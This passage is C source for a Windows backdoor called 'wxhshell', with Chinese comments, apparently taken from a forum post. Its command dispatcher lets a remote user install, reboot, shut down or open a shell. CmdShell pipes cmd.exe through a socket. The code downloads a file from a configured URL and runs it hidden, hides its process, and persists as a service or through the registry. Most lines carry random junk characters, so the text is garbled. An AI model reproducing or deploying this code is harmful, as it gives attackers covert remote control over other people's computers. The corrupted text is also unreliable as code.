  } (. quX@w"m  
  else { O)U$Ef  
`G ;Lz^  
    switch(cmd[0]) { r.a9W? (E  
  JR a*;_  
  // 帮助 0'\FrG  
  case '?': { w371.84  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g<hv7?"[  
    break; Y&05 *b"  
  } #>=/15:  
  // 安装 qh)!|B  
  case 'i': { ^+- L;XkeY  
    if(Install()) S,`Sq8H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9ifUh e  
    else F"m}mf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9A} kkMB:  
    break; hBfzU\*0H  
    } H%NLL4&wu  
  // 卸载 G7_"^r%c9;  
  case 'r': { :`>+f.)  
    if(Uninstall()) j3rv2W\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o$blPTN  
    else g]iy-,e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B 1d%#  
    break; l6`d48U  
    } @rK>yPhf  
  // 显示 wxhshell 所在路径 dnX`F5zd  
  case 'p': { q| =q:4_L  
    char svExeFile[MAX_PATH]; ILr6W@o5A  
    strcpy(svExeFile,"\n\r"); Y^jnlS)h  
      strcat(svExeFile,ExeFile); &W!d}, ;  
        send(wsh,svExeFile,strlen(svExeFile),0); yz2oS|0'  
    break; kkE)zF   
    } xZ @O"*{  
  // 重启 aji~brq  
  case 'b': { -{:Lx E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K_lL\  
    if(Boot(REBOOT)) <1g1hqK3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1,T!xL  
    else { $L#Z?76v  
    closesocket(wsh); 9CU6o:'fW  
    ExitThread(0); ETWmeMN  
    } ,?~UpsUx  
    break; a@=36gx)  
    } xZ'` _x9l  
  // 关机 !,JT91  
  case 'd': { k89gJ5B$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -TU{r_!Z(  
    if(Boot(SHUTDOWN)) %]sEt{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .McoW7|Y  
    else { l6DIsR  
    closesocket(wsh); U`nS` p  
    ExitThread(0); RAuAIiQ  
    } 5wFS.!xD  
    break; yE|} r  
    } gl7vM  
  // 获取shell @~U6=(+  
  case 's': { v^18o$=K",  
    CmdShell(wsh); i!}nGJGg  
    closesocket(wsh); y[@j0xlO  
    ExitThread(0); `~+a=Q  
    break; nIqY}??  
  } , a_{ Y+  
  // 退出 J!fc)h  
  case 'x': { ^s2-jkK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `# M.t);^  
    CloseIt(wsh); 1> @|  
    break; [qD<U%Hi  
    } <QW1fE  
  // 离开 ![hhPYmV  
  case 'q': { }}bi#G:R+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H6CGc0NS+  
    closesocket(wsh); ;s B:s9M  
    WSACleanup(); i~s9Ot  
    exit(1); 5<BV\'  
    break; DHNii_w4v  
        } Sfa m=.l  
  } j nA_!;b  
  } RqjDMN:  
~rJw$v  
  // 提示信息 [tK:y[nk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :!YJ3:\  
} (5DGs_>  
  } P<JkRX  
~0r.3KTl"Y  
  return; kt0{-\ p  
} S9#N%{8P  
{UC<I.5X  
// shell模块句柄 0?;Hmq3  
int CmdShell(SOCKET sock) }%d-U;Tt2  
{ #5:A?aj  
STARTUPINFO si; '\E{qlI  
ZeroMemory(&si,sizeof(si)); Vyq<T(5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ollv _o3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8=o5;]Cg  
PROCESS_INFORMATION ProcessInfo; ?CZD^>6  
char cmdline[]="cmd"; Au*?)X- $  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $yqq.#1  
  return 0; $D\l%y/C  
} :.<TWBoV  
U5$DJ5>8  
// 自身启动模式 zXU{p\;)\  
int StartFromService(void) >MY.Fr#.m  
{ J9c3d~YW  
typedef struct {,2_K6#  
{ m`q> _*  
  DWORD ExitStatus; RW^v{'o  
  DWORD PebBaseAddress; I>o; %}  
  DWORD AffinityMask; iPpJ`i#@+  
  DWORD BasePriority; m48Y1'4  
  ULONG UniqueProcessId; :E`l(sI7J}  
  ULONG InheritedFromUniqueProcessId; !$# 4D&T  
}   PROCESS_BASIC_INFORMATION; Gn4b\y%%  
&uW.V+3  
PROCNTQSIP NtQueryInformationProcess; wGX"R5  
c &(,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *3($s_r>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :]hfmWC   
{_}"USS  
  HANDLE             hProcess; 0EU4irMa  
  PROCESS_BASIC_INFORMATION pbi; ITUl -L4xE  
&2pM3re/f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U5 "v1"Ec  
  if(NULL == hInst ) return 0; ^IkMRlJh%  
H/{3 i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wuQkeWxJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *.l=> #qF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (@ sKE  
z# B) b5  
  if (!NtQueryInformationProcess) return 0; !W^II>Y  
bYH_U4b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >i E  
  if(!hProcess) return 0; }cmL{S  
O v6=|]cW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <:-&yDh u  
42LV>X#i  
  CloseHandle(hProcess); (6'Hzl^Kp  
,Z"sh*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R!CUR~F  
if(hProcess==NULL) return 0; o*'3N/D~  
)dcGV$4t[  
HMODULE hMod; v8N1fuP}  
char procName[255]; q1Mk_(4oJ  
unsigned long cbNeeded; VE m[F/'  
uESHTX/[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ']x]X ,  
s]OXB {M  
  CloseHandle(hProcess); <h[^&CY{  
gO36tc:ce  
if(strstr(procName,"services")) return 1; // 以服务启动 a8TE  
tnntHQ&b  
  return 0; // 注册表启动 [$X(i|6  
} %+}\i'j7  
Uz_{jAhW]  
// 主模块 >EjBk nl  
int StartWxhshell(LPSTR lpCmdLine) nor`w,2VF  
{ "`zw(  
  SOCKET wsl; i8F~$6C  
BOOL val=TRUE; :T2K\@  
  int port=0; $ a7^3  
  struct sockaddr_in door; K\PS$  
7 m%|TwJN  
  if(wscfg.ws_autoins) Install(); 4"@yGXUb  
'1aOdEZA*  
port=atoi(lpCmdLine); = 8n*%NC  
6}0#({s:R  
if(port<=0) port=wscfg.ws_port; yL1\V7GI{[  
(RF6K6~  
  WSADATA data; 3[$VW+YV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $!t!=  
@<+(40`*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R?k1)n   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qw ED>G|  
  door.sin_family = AF_INET; (1R,   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @: NrC76  
  door.sin_port = htons(port); {^v50d  
f|EWu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b^ZrevM  
closesocket(wsl); f7L|Jc  
return 1; f3O3pIA  
} @/~41\=e  
3j2}n o8O  
  if(listen(wsl,2) == INVALID_SOCKET) { ITTC}  
closesocket(wsl); _\"?:~rUN  
return 1; p 7sYgz  
} 8Og9P1jVh  
  Wxhshell(wsl); ?tBEB5  
  WSACleanup(); V%+KJ}S!Z  
p?%G|Q  
return 0; YVzK$k'3U  
){/y-ixH  
} @$aCUJ/mE  
A ="h}9ok  
// 以NT服务方式启动 y8sI @y6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =,sMOJ c>  
{ jjs-[g'}  
DWORD   status = 0; C>LkU|[  
  DWORD   specificError = 0xfffffff; j1g^Q$B>m  
B^oXUEOImq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PR Y)hb;1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ts^IA67&<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2o,%O91p  
  serviceStatus.dwWin32ExitCode     = 0; (FBKP#x)^  
  serviceStatus.dwServiceSpecificExitCode = 0; 4ed( DSN  
  serviceStatus.dwCheckPoint       = 0; YoXXelO&  
  serviceStatus.dwWaitHint       = 0; |*!I(wm2i  
4Vt YR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W}KtB1J  
  if (hServiceStatusHandle==0) return; Yu'lD`G  
o zv><e#  
status = GetLastError(); idV4hMF9  
  if (status!=NO_ERROR) K'y;j~`-  
{ ~6R| a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Iu%S><'+  
    serviceStatus.dwCheckPoint       = 0; Rj-<tR{  
    serviceStatus.dwWaitHint       = 0; 7D4P= $UJp  
    serviceStatus.dwWin32ExitCode     = status; %c[by  
    serviceStatus.dwServiceSpecificExitCode = specificError; CfAX,f"ZP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G<$UcXg  
    return; .F9>|Xx[  
  } 4"0`J  
sz_|py?0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *V>Iv/(  
  serviceStatus.dwCheckPoint       = 0; >Efv?8$E\  
  serviceStatus.dwWaitHint       = 0; }9jy)gF*e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TR]~r2z  
} ;g*ab  
9"oc.ue.2D  
// 处理NT服务事件,比如:启动、停止 8LB+}N(8f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JhIgq W2  
{ Rj1Z  
switch(fdwControl) ]7Tjt A.\q  
{ (@~d9PvB>  
case SERVICE_CONTROL_STOP: N^B YNqr  
  serviceStatus.dwWin32ExitCode = 0; m8fxDepFA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AW1691Q  
  serviceStatus.dwCheckPoint   = 0; Zn|vT&:Hg  
  serviceStatus.dwWaitHint     = 0; #"=_GA^.{  
  { d0eMDIm3R\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Av]<[ F/  
  } Xh;Pbm|K  
  return; \5cAOBja  
case SERVICE_CONTROL_PAUSE: y#o ,Vg*V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8" XbW7^o  
  break; (pNA8i%=G  
case SERVICE_CONTROL_CONTINUE: Q >] v?4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Qeyh^wo  
  break; !0{":4 \  
case SERVICE_CONTROL_INTERROGATE: :VX?j 3qW  
  break;  Q47Rriw  
}; UF3WpA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *^ g7kCe(  
} TeSF  
QG$LbuZ`  
// 标准应用程序主函数 fE8/tx](  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p eQD]v  
{ LSS3(l[,:  
|MY6vRJ(  
// 获取操作系统版本 JL=MlZ  
OsIsNt=GetOsVer(); B0T[[%~3M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `9SuDuw;s  
e/'d0Gb-  
  // 从命令行安装 P33x/#VVE  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^(r?k_i/  
Y<0 [_+(  
  // 下载执行文件 T.]+T[}!  
if(wscfg.ws_downexe) { a=>PGriL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *"2TT})   
  WinExec(wscfg.ws_filenam,SW_HIDE); Ii_X^)IL(  
} }J$Q  
I"eXoqh  
if(!OsIsNt) { c&vY0/ [  
// 如果时win9x,隐藏进程并且设置为注册表启动 8wKF.+_A  
HideProc(); apPn>\O  
StartWxhshell(lpCmdLine); }D-h=,];  
} x<W`2Du  
else l$=Y(Xk  
  if(StartFromService()) YtI 2Vr/9  
  // 以服务方式启动 `'H"|WsT  
  StartServiceCtrlDispatcher(DispatchTable); xj~5/)XX|X  
else o[pv.:w  
  // 普通方式启动 tEhYQZ  
  StartWxhshell(lpCmdLine); `],'fT|,S  
eAR]~ NiW  
return 0; {fW(e?8)  
}
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只看该作者 1 发表于: 2006-10-10
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